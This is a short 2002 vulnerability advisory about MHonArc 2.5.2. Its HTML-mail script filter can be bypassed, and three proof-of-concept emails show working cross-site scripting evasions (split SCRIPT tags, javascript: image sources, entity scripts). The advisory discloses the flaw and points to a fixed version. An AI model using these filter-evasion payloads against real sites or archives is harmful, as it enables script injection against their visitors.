19th Apr 2002 [SBWID-5291]
COMMAND
MHonArc script filtering bypass vulnerability
SYSTEMS AFFECTED
MHonArc v2.5.2
PROBLEM
Hiromitsu Takagi reported following about MHonArc, a Perl mail-to-HTML
converter. MHonArc provides HTML mail archiving with index, mail thread
linking, etc; plus other capabilities including support for MIME and
powerful user customization features (accordingly with their website
[http://www.mhonarc.org/]).
MHonArc has a feature which filters out scripting tags from incoming
HTML mails and it is enabled on default. However, some variations of
scripting tags will not be filtered.
Exploit 1:
----------
From: test@example.com
To: test@example.com
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html
<HTML>
<SCR<SCRIPT></SCRIPT>IPT>alert(document.domain)</SCR<SCRIPT></SCRIPT>IPT>
</HTML>
----------
Exploit 2:
----------
From: test@example.com
To: test@example.com
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html
<HTML>
<IMG SRC=javascript:alert(document.domain)>
</HTML>
----------
Exploit 3:
----------
From: test@example.com
To: test@example.com
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html
<HTML>
<B foo=&{alert(document.domain)};>
Vulnerable only if Netscape 4.x is used to browse.</B>
</HTML>
----------
SOLUTION
Upgrade to MHonArc v2.5.3
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